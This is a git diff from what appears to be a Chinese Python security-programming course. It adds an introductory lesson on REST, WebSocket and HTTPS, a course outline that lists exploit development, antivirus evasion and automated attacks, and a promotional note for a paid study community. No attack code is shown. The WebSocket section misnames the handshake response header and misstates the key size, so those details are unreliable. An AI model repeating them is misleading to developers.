+ +表述性状态转移式(Representational state transfer,REST)WEB服务类似于HTTP或其他类似协议,它们把接口限定在一组广为人知的标准动作中(比如HTTP的GET、PUT、DELETE)以供调用。此类WEB服务关注与那些稳定的资源的互动,而不是消息或动作。 + +此种服务可以通过WSDL来描述SOAP消息内容,通过HTTP限定动作接口;或者完全在SOAP中对动作进行抽象。 + +### 4.1.3 WebSocket + +WebSocket是基于TCP协议的双工协议。浏览器通过HTTP连接向服务器发送WebSocket握手请求来升级连接,从而启动WebSocket连接。除了升级请求标头之外,握手请求还包括64位Sec-WebSocket-Key标头。服务器使用Sec-Websocket-Auth头中的密钥哈希进行响应。基本流程如下图所示: + +![](./img/10.png) + +从建立连接开始,整个通信都是基于二进制的,不符合HTTP协议。服务器应用程序知道所有WebSocket连接,并且可以单独与每个连接进行通信。当WebSocket保持打开状态时,服务器或用户可以随时发送消息,直到其中一个关闭会话。可以在任一端启动通信,这使得事件驱动的Web编程成为可能。相反,标准HTTP仅允许用户请求新数据。 + +下面给出了WebSocket数据帧的统一格式。熟悉TCP/IP协议的同学对这样的图应该不陌生。 + +从左到右,单位是比特。比如FIN、RSV1各占据1比特,opcode占据4比特。 +内容包括了标识、操作代码、掩码、数据、数据长度等。 + +![](./img/11.png) + +WebSocket协议详细内容请阅读[rfc6455文档](https://tools.ietf.org/html/rfc6455) + +#### 4.1.4 Https + +HTTPS代表超文本传输​​协议安全。它是用于保护两个系统之间通信的协议,例如浏览器和Web服务器。下图说明了通过http和https进行通信的区别: + +![](./img/12.png) + +如上图所示,http以超文本格式在浏览器和Web服务器之间传输数据,而https以加密格式传输数据。因此,https可防止黑客在浏览器和Web服务器之间传输期间读取和修改数据。即使黑客设法拦截通信,他们也无法使用它,因为消息是加密的。 + +HTTPS使用安全套接字层(SSL)或传输层安全(TLS)协议在浏览器和Web服务器之间建立加密链接。TLS是SSL的新版本。 + +SSL是用于在两个系统之间建立加密链接的标准安全技术。这些可以是浏览器到服务器,服务器到服务器或客户端到服务器。基本上,SSL确保两个系统之间的数据传输保持加密和私密。 + +https本质上是http over SSL。SSL使用SSL证书建立加密链接,SSL证书也称为数字证书。 + +![](./img/13.png) + +HTTP 和 HTTPS的简单对比如下: + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ http + + https +
+ 以超文本(结构化文本)格式传输数据 + + 以加密格式传输数据 +
+ 默认使用端口80 + + 默认使用端口443 +
+ 不安全 + + 使用SSL技术保护安全 +
+ 以 http://开始 + + 以 https://开始 +
+ + +### 4.1.5 小结 + +本节简单介绍了 Web 应用中的常用几种协议,想要了解每种协议的详情,需要阅读对应的规范文档。本节作业如下: + +1. 结合抓包工具来分析、学习web协议 + +下一节我们学习如何通过编程的方式连接远程web服务,获取基本信息,进行简单交互。 + +![](img/0.jpg) + + 本系列教程全部内容在知识星球--玄说安全 发布,并提供答疑和辅导。 + +![](img/00.jpeg) + diff --git a/README.md b/README.md index 010a23d..5dc26a9 100644 --- a/README.md +++ b/README.md @@ -59,15 +59,66 @@ Web应用不论实在桌面端还是移动端,都是我们使用最广泛的 ## 本书大纲 [课程大纲](大纲.md) - -## 前本套课程的具体内容会在优先知识星球优先进行教学,答疑,2018年12月24日之后会进行第二批用户入住审批。相关代码会托管在此处。 - - 欢迎加入我们的知识星球 - -![](1.jpeg) +# Python 黑客编程之极速入门 + +## 第一章: Python 编程基础 +• Python简介和开发环境搭建
+• 数值类型
+• 字符串、列表、元组、字典和集合
+• 流程控制
+• 函数
+• 模块
+• 异常处理
+• 面向对象编程
+## 第二章: 系统级编程与安全 +• Python编程之禅
+• 文件和目录
+• 线程
+• 进程的创建
+• 多进程
+• 进程内通信 (IPC)
+• 实例讲解
+## 第三章: 网络安全编程 – 嗅探和注入 +• 原始套接字基础
+ 套接字编程
+• 服务端和客户端编程
+• 无线嗅探
+• 数据包注入
+• PCAP 分件分析
+• 实例讲解
+## 第四章: Web 应用安全 +• web服务端和浏览器端
+• Web应用模糊测试
+• HTML 内容自动分析
+• 浏览器模拟
+• 攻击Web Service
+• 代理
+• 自动化攻击(SQL注入,XSS等)
+• 实例讲解
+## 第五章: 漏洞利用 +• Exploit 开发技术
+• 免杀
+• 使用Python写漏洞利用插件
+• 二进制分析
+• 自动攻击
+• 实例讲解
+## 第六章: 恶意软件分析和逆向工程 +• 进程调试
+• Pydbg 入门
+• 实时应用分析
+• 断点调试
+• 内存补丁
+• 实例讲解
+## 第七章: 自动化攻击 +• Python自动化攻击
+• 常用类库和应用
+• 实例讲解
+## 第8章: 课程总结和寄语 + + + + + -- - 欢迎到我的订阅号来交流 - - -![](0.jpg) + diff --git "a/\350\257\264\346\230\216.txt" "b/\350\257\264\346\230\216.txt" new file mode 100644 index 0000000..833aaca --- /dev/null +++ "b/\350\257\264\346\230\216.txt" @@ -0,0 +1,7 @@ +我们卖的确切的说不是培训, 是圈子。 在圈子里有我们的原创教程和各种资源,持续更新;有各种不同水平和工作背景的人可以交流;定期的实战分享互动和答疑;原创课程目前面向入门,不强制教学进度,没有讲师按课时讲解,需要按照图文和视频教程 自学,有问题随时在星球和微信群提问。 + +教程指导思想 https://mp.weixin.qq.com/s/fuaiUfmwbbrlG5DwrkNkdA + +教程清单 https://github.com/xuanhun/HackingResource/blob/master/index.md + +学习步骤建议:https://github.com/xuanhun/HackingResource \ No newline at end of file